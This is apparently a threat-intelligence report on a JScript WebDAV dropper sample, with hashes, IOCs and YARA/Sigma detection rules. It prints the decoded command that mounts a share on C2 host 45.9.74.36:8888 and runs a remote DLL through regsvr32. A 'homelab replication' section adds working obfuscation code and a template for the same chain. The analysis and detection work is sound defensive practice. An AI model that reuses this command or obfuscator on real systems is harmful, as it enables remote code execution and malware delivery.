unclassified-js-webdav-dropper: be58d381 — Thirty-first confirmed sibling, 36-entry noise-key dictionary

Executive Summary

Thirty-first confirmed sibling in the unclassified JS WebDAV dropper family. JScript dictionary lookup-table obfuscation with 36 random noise keys (iysqohpjciwm object), WebDAV C2 45.9.74.36:8888, payload 5047102111834.dll, regsvr32 /s execution. No PowerShell wrapper, no wordpad decoy, no sandbox gate. Static-only analysis (CAPE skipped text file).

What It Is

• SHA-256: be58d381d9e917fe99ea9d0f87f27a81d80ef8f10e6b126d021f3d2684246664 ^[file.txt]
• Filename: 29450142582670731119.js ^[triage.json]
• Size: 5,124 bytes (5.0 KB) ^[triage.json]
• Type: JScript (Windows Script Host), ASCII text with CRLF line terminators ^[file.txt]
• Family: unclassified-js-webdav-dropper — thirty-first confirmed sibling
• Confidence: High — identical execution chain and infrastructure to thirty prior siblings

How It Works

The script builds a 36-entry dictionary (iysqohpjciwm) mapping random noise keys (e.g. psdm, bdquzghaaofnpisnloo, pgzeswvjlefwlob) to single ASCII characters. ^[strings.txt:1] The try block calls an undefined function (ppxyqxpfukbizvsab) guaranteeing the catch path executes.

Inside the catch block, the payload is assembled via dictionary lookups concatenated into a Function(''+...+'')() expression that resolves to WScript.CreateObject('WScript.Shell').Run(...). ^[strings.txt:37]

Decoded command:

cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\5047102111834.dll

This is the standard WebDAV+regsvr32 chain observed across the family. See the unclassified-js-webdav-dropper entity page for the shared build and TTP analysis. ^[/intel/analyses/be58d381d9e917fe99ea9d0f87f27a81d80ef8f10e6b126d021f3d2684246664.html]

Decompiled Behavior

Not applicable — this sample is JScript executed by wscript.exe, not a PE binary. No Ghidra or radare2 analysis possible. The entire threat logic is contained in a single ASCII script file decoded via Python dictionary reconstruction.

C2 Infrastructure

No second C2 domain, no PowerShell cradle, no wordpad decoy. Single-stage execution: net use mounts the share, regsvr32 loads the remote DLL.

Interesting Tidbits

• Object name: iysqohpjciwm (16 chars, no semantic content) — follows the noise-key naming convention seen in d0124d62, d90baa30, a435a37b, aa8ff8b9, ade6cf68, and b612dd70. ^[strings.txt:1]
• Key naming: 36 entries, all random lowercase noise (8–20 chars). No alliteration, no natural-language phrases. This is the ninth 36-entry noise-key variant on the 45.9.74.36:8888 infrastructure.
• Payload naming: 5047102111834.dll — 13-digit numeric filename, same pattern as 32238313189311.dll, 8219187519655.dll, 12235285291763.dll, etc.
• No anti-analysis: No sandbox gate, no debugger check, no VM detection, no time-bomb. The script executes immediately upon wscript.exe invocation.
• No persistence: One-shot execution; no registry, scheduled task, or startup folder modification.

How To Mess With It (Homelab Replication)

Toolchain

• Windows Script Host (wscript.exe / cscript.exe)
• Any text editor

Working Source Snippet

// Reproduction of the dictionary-assembly engine
dict = {};
dict['abcxyz123'] = 'W';
dict['defghi456'] = 'S';
// ... map 36 noise keys to characters covering your payload

try { undefinedDecoy(); } catch(e) {
  Function(''+dict['abcxyz123']+dict['defghi456']+'cript.CreateObject("WScript.Shell").Run("calc")')();
}

Verification Step

1. Save as test.js
2. Run cscript //nologo test.js
3. Expected: Calculator launches. If it does, your dictionary assembly works.
4. To match the family fingerprint: encode cmd /k net use \\YOURHOST@8888\davwwwroot\ && regsvr32 /s \\YOURHOST@8888\davwwwroot\payload.dll

What You'll Learn

How dictionary-lookup obfuscation defeats static string extraction while remaining trivially reversible via script execution or manual reconstruction.

Deployable Signatures

YARA Rule

rule WebDAV_JS_Dropper_Dictionary_NoiseKey_36 {
    meta:
        description = "JScript WebDAV dropper with 36-entry noise-key dictionary lookup"
        author = "PacketPursuit SOC"
        date = "2026-06-30"
        family = "unclassified-js-webdav-dropper"
        hash = "be58d381d9e917fe99ea9d0f87f27a81d80ef8f10e6b126d021f3d2684246664"
    strings:
        $dict_pattern = /=\];[a-z]{8,20}\['[a-z]{8,20}'\]='.'/ nocase
        $func_return_this = "Function(''+"
        $davwwwroot = "davwwwroot" nocase
        $net_use = "net use" nocase
        $regsvr32 = "regsvr32" nocase
    condition:
        filesize < 10KB and
        #dict_pattern >= 30 and
        $func_return_this and
        $davwwwroot and
        ($net_use or $regsvr32)
}

Sigma Rule

title: JScript WebDAV Dropper Execution
id: be58d381-d9e9-4fe9-9ea9-d0f87f27a81d
status: experimental
description: Detects WScript execution of JS WebDAV dropper spawning cmd with net use and regsvr32
logsource:
    category: process_creation
    product: windows
detection:
    selection_wscript:
        Image|endswith: '\wscript.exe'
        CommandLine|contains: '.js'
    selection_cmd:
        ParentImage|endswith: '\wscript.exe'
        Image|endswith: '\cmd.exe'
        CommandLine|contains:
            - 'net use'
            - 'davwwwroot'
    selection_regsvr32:
        ParentImage|endswith: '\cmd.exe'
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: '\\@8888\\davwwwroot'
    condition: selection_wscript and (selection_cmd or selection_regsvr32)
falsepositives:
    - Legitimate WebDAV administrative scripts
level: high

IOC List

Behavioral Fingerprint

This binary is a JScript Windows Script Host dropper that builds a 36-entry dictionary mapping random noise keys to single characters, then assembles a WScript.Shell.Run command inside a Function('return this')() construction. The decoded command mounts a remote WebDAV share at \\45.9.74.36@8888\davwwwroot\ via net use and then silently registers a remote DLL via regsvr32 /s. No persistence, no sandbox gate, no PowerShell wrapper. Execution is immediate and one-shot.

Detection Signatures

References

• unclassified-js-webdav-dropper — Family entity page (thirty prior confirmed siblings)
• js-dictionary-char-lookup-obfuscation — Technique page for this obfuscation dialect
• webdav-regsvr32-dll-sideloading — Technique page for WebDAV + regsvr32 execution chain

Provenance

• file.txt — file(1) output, file version 5.45
• triage.json — triage-fast pipeline output, schema version 1
• strings.txt — raw script content, lines 1–37
• Decoded payload via Python dictionary reconstruction from source file
• No CAPE detonation (text file, unsupported binary class)
• No Ghidra/radare2 analysis (not a PE)